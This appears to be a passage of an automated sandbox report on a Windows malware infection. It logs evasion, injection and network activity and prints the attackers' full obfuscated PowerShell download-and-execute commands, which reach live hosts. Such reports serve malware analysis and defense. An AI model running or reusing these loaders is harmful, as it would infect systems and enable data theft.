Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3392	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3160	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2988	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3384	Thread sleep count: 2368 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3384	Thread sleep count: 541 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2652	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2604	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3284	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3820	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3868	Thread sleep count: 1420 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3860	Thread sleep count: 2499 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 252	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2228	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2228	Thread sleep time: -1200000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2228	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3768	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\explorer.exe TID: 2072	Thread sleep count: 91 > 30
Source: C:\Windows\explorer.exe TID: 1120	Thread sleep count: 533 > 30
Source: C:\Windows\explorer.exe TID: 1340	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\explorer.exe TID: 3700	Thread sleep count: 290 > 30
Source: C:\Windows\explorer.exe TID: 3724	Thread sleep count: 60 > 30
Source: C:\Windows\System32\taskeng.exe TID: 3688	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\vtjrhji TID: 3892	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00121D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	38_2_00121D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00123ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	38_2_00123ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00122B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	38_2_00122B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 40_2_0008255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose,	40_2_0008255C
Source: C:\Windows\explorer.exe	Code function: 42_2_00061EB4 FindFirstFileW,	42_2_00061EB4
Source: C:\Windows\explorer.exe	Code function: 42_2_00061DB0 FindFirstFileW,	42_2_00061DB0

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 38_2_00126512 GetSystemInfo,

38_2_00126512

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\vtjrhji	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\

Source: explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: explorer.exe, 0000001F.00000000.522082384.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 0000001F.00000000.522082384.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 0000001F.00000000.522082384.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}eeab7790
Source: explorer.exe, 0000001F.00000000.521769301.00000000025E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0a
Source: explorer.exe, 0000001F.00000000.522082384.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}100\4&20

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

System information queried: ModuleInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	System information queried: CodeIntegrityInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	System information queried: CodeIntegrityInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 6_2_000007FE89AA3122 rdtsc

6_2_000007FE89AA3122

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 38_2_00189247 LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

38_2_00189247

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 38_2_00121011 GetProcessHeap,HeapFree,

38_2_00121011

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\vtjrhji

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: vtjrhji.31.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 46.173.214.24 80
Source: C:\Windows\SysWOW64\explorer.exe	Domain query: prolinice.ga

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3836, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Creates a thread in another existing process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread created: C:\Windows\explorer.exe EIP: 2801960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread created: unknown EIP: 2BC1960

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 3756 base: CA102D value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 3656 base: FF31B794 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 2860 base: CA102D value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 816 base: CA102D value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 2068 base: FF31B794 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 2912 base: CA102D value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 2244 base: FF31B794 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 2108 base: CA102D value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 2580 base: FF31B794 value: 90

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 7EFDE008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 7EFDE008
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: CA102D
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: CA102D
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: CA102D
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: CA102D
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: CA102D

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2B07.tmp" "c:\Users\user\AppData\Local\Temp\03wlztsz\CSC280AB7AC39534067B2898716E8B346.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = 